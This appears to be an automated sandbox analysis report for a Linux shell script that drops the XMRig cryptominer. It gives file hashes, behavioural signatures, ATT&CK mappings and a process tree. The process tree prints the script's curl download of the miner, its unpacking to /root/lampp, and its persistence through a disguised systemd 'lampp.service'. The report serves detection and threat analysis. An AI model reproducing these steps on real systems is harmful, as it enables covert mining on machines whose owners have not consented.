Analysis

  • max time kernel
    1s
  • max time network
    1045s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240508-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    01-07-2024 11:48

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Reads EFI boot settings 3 IoCs

    Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1394
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1397
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1398
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1401
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1402
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:1443
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
                PID:1444
                • /usr/local/sbin/gzip
                  gzip -d
                  3⤵
                    PID:1445
                  • /usr/local/bin/gzip
                    gzip -d
                    3⤵
                      PID:1445
                    • /usr/sbin/gzip
                      gzip -d
                      3⤵
                        PID:1445
                      • /usr/bin/gzip
                        gzip -d
                        3⤵
                          PID:1445
                      • /usr/bin/rm
                        2⤵
                          PID:1446
                        • /usr/bin/sed
                          2⤵
                            PID:1447
                          • /root/lampp/xmrig
                            2⤵
                            • Executes dropped EXE
                            • Checks hardware identifiers (DMI)
                            • Reads hardware information
                            • Checks CPU configuration
                            • Reads CPU attributes
                            • Enumerates kernel/hardware configuration
                            PID:1448
                          • /usr/bin/sed
                            2⤵
                              PID:1453
                            • /usr/bin/cut
                              2⤵
                                PID:1452
                              • /usr/bin/hostname
                                2⤵
                                  PID:1451
                                • /usr/bin/sed
                                  2⤵
                                    PID:1454
                                  • /usr/bin/sed
                                    2⤵
                                      PID:1455
                                    • /usr/bin/sed
                                      2⤵
                                        PID:1456
                                      • /usr/bin/sed
                                        2⤵
                                          PID:1457
                                        • /usr/bin/sed
                                          2⤵
                                            PID:1458
                                          • /usr/bin/sed
                                            2⤵
                                              PID:1459
                                            • /usr/bin/sed
                                              2⤵
                                                PID:1460
                                              • /usr/bin/cp
                                                2⤵
                                                  PID:1461
                                                • /usr/bin/sed
                                                  2⤵
                                                    PID:1462
                                                  • /usr/bin/cat
                                                    2⤵
                                                      PID:1463
                                                    • /usr/bin/chmod
                                                      2⤵
                                                        PID:1464
                                                      • /usr/bin/sudo
                                                        2⤵
                                                          PID:1465
                                                          • /usr/bin/true
                                                            3⤵
                                                              PID:1466
                                                          • /usr/bin/awk
                                                            2⤵
                                                              PID:1469
                                                            • /usr/bin/grep
                                                              2⤵
                                                                PID:1468
                                                              • /usr/bin/cat
                                                                2⤵
                                                                  PID:1470
                                                                • /usr/bin/sudo
                                                                  2⤵
                                                                    PID:1471
                                                                    • /usr/bin/mv
                                                                      3⤵
                                                                        PID:1472
                                                                    • /usr/bin/sudo
                                                                      2⤵
                                                                        PID:1473
                                                                        • /usr/bin/killall
                                                                          3⤵
                                                                          • Reads runtime system information
                                                                          PID:1474
                                                                      • /usr/bin/sudo
                                                                        2⤵
                                                                        • Reads runtime system information
                                                                        PID:1475
                                                                        • /usr/bin/systemctl
                                                                          systemctl daemon-reload
                                                                          3⤵
                                                                          • Reads EFI boot settings
                                                                          • Enumerates kernel/hardware configuration
                                                                          • Reads runtime system information
                                                                          PID:1476
                                                                      • /usr/bin/sudo
                                                                        sudo systemctl enable lampp.service
                                                                        2⤵
                                                                        • Reads runtime system information
                                                                        PID:1502
                                                                        • /usr/bin/systemctl
                                                                          systemctl enable lampp.service
                                                                          3⤵
                                                                          • Reads EFI boot settings
                                                                          • Enumerates kernel/hardware configuration
                                                                          • Reads runtime system information
                                                                          PID:1514
                                                                      • /usr/bin/sudo
                                                                        sudo systemctl start lampp.service
                                                                        2⤵
                                                                        • Reads runtime system information
                                                                        PID:1540
                                                                        • /usr/bin/systemctl
                                                                          systemctl start lampp.service
                                                                          3⤵
                                                                          • Reads EFI boot settings
                                                                          • Enumerates kernel/hardware configuration
                                                                          • Reads runtime system information
                                                                          PID:1542

                                                                    Network

                                                                    MITRE ATT&CK Matrix ATT&CK v13

                                                                    Defense Evasion

                                                                    Virtualization/Sandbox Evasion

                                                                    2
                                                                    T1497

                                                                    Discovery

                                                                    Virtualization/Sandbox Evasion

                                                                    2
                                                                    T1497

                                                                    System Information Discovery

                                                                    3
                                                                    T1082

                                                                    Command and Control

                                                                    Web Service

                                                                    1
                                                                    T1102

                                                                    Replay Monitor

                                                                    Loading Replay Monitor...

                                                                    Downloads

                                                                    • /root/lampp/config.json
                                                                      Filesize

                                                                      2KB

                                                                      MD5

                                                                      f3294129e6b76283965ad86a815bf383

                                                                      SHA1

                                                                      5fe0ab538f86962efe82cb13fc2da745610740af

                                                                      SHA256

                                                                      578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                                      SHA512

                                                                      07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                                    • /root/lampp/sed3SoUJ6
                                                                      Filesize

                                                                      2KB

                                                                      MD5

                                                                      d489ddbbb83271e967b8af615d17d3c7

                                                                      SHA1

                                                                      f0394a367a60e9727269882154098dec802774ef

                                                                      SHA256

                                                                      5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                                      SHA512

                                                                      aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                                    • /root/lampp/sed9JaDBw
                                                                      Filesize

                                                                      2KB

                                                                      MD5

                                                                      0ef475c0744997949d52fa114b27ed4c

                                                                      SHA1

                                                                      63508c019d49fef2c5884b8642c44d2f74648110

                                                                      SHA256

                                                                      b1fff4d52bdd89c3a3c71c1ad726631ade3620a90766821312d57c4d955aa104

                                                                      SHA512

                                                                      75843e32d44fc4361b81d9d5184f6f858b26890ccffd7fd600d6f6957eba3a1d69e964e53caa0bf2b26753162f920c8d9afd367ab9c50ecac9d5d07e741eac9f

                                                                    • /root/lampp/sedb3buGb
                                                                      Filesize

                                                                      2KB

                                                                      MD5

                                                                      8b11b027dd187104473ee7d661ffe25f

                                                                      SHA1

                                                                      ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                                      SHA256

                                                                      984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                                      SHA512

                                                                      1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                                    • /root/lampp/sedgiSOFK
                                                                      Filesize

                                                                      2KB

                                                                      MD5

                                                                      5e049d4ebabc96123042c020ee433f71

                                                                      SHA1

                                                                      d88a16240a1a3e87e111ea651e12a60c552c0bc9

                                                                      SHA256

                                                                      3672220bf0dba97aec0f3775d55b5300969b21897a73d44b014a4bdf04da3e3e

                                                                      SHA512

                                                                      58ed04c6e3595928082ba9d3e1041e98c738dbb363e5dd5f2a75d125e4e7f01d4719d89f85a452ef29eac28a77619066bf580c06d2395a610bf52727eb28c524

                                                                    • /root/lampp/sedxZZBvk
                                                                      Filesize

                                                                      2KB

                                                                      MD5

                                                                      2c0df237f04dc70f741d9b68d818a1d6

                                                                      SHA1

                                                                      c84477b46c2822dbe6add1f6d892b9439b303dcf

                                                                      SHA256

                                                                      56c3dbd5e24fe1c45a42b766a9fa71326b3e3719c4f0173adb212479cda349f1

                                                                      SHA512

                                                                      896c0ba7bd2287085256d776f03480796b81dc3e22a7ef460f7cc4b9d29f57f6d9e117c3ae89feeced9a452a9b11f5edb603b77379aad9155a8ef791a193516a

                                                                    • /root/lampp/sedzphe5z
                                                                      Filesize

                                                                      2KB

                                                                      MD5

                                                                      da8715a890450aa2f376cb7b36a90f91

                                                                      SHA1

                                                                      d5fcbd3aae300d8b35731d704a68e543411bb62f

                                                                      SHA256

                                                                      92277dbba8334a2c6c540693c768fba428eb2cb06bd38956d80b664691c81b63

                                                                      SHA512

                                                                      11e59c04ba2cfcaaac3e99de1c148687d632a8e0aebc1f25bfc87d19bb6d98c65fd0e68aab1409d0d402c865933c4f2113653c2b6bc590f234a0370e19215a66

                                                                    • /root/lampp/xmrig
                                                                      Filesize

                                                                      8.4MB

                                                                      MD5

                                                                      9138706ef0eda8b74346ded015216537

                                                                      SHA1

                                                                      17d6ed7facb35e7460ef2efabe7c34e7aa3f8496

                                                                      SHA256

                                                                      5a886c7e0bccbe633499ac7101761ede6d696c9ce38ee86090732bc0ff8d5da4

                                                                      SHA512

                                                                      3a1aa9c59072272607ea224d0bd2ff5966abda5808d5f6615538165e1a872e7ae349eda6ac27181ba099d9595255ca98826abc33793f6255bc75247e197e04d8

                                                                    • /tmp/lampp.service
                                                                      Filesize

                                                                      177B

                                                                      MD5

                                                                      540c899b78585827e807a62f7345eaf5

                                                                      SHA1

                                                                      8bf3146889c6b15811f226bff9fbca24d184eff2

                                                                      SHA256

                                                                      b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                                      SHA512

                                                                      0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                                    • /tmp/sh-thd.xeRYGP
                                                                      Filesize

                                                                      253B

                                                                      MD5

                                                                      f96a321a262287ceae164f23f232ed9c

                                                                      SHA1

                                                                      d1eeab41f244b42377afd7cc3de7428736162b24

                                                                      SHA256

                                                                      f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                                      SHA512

                                                                      75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                                    • /tmp/xmrig.tar.gz
                                                                      Filesize

                                                                      3.4MB

                                                                      MD5

                                                                      e003a3ec8bdd61151a61cadf950502c4

                                                                      SHA1

                                                                      2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                                      SHA256

                                                                      80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                                      SHA512

                                                                      ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9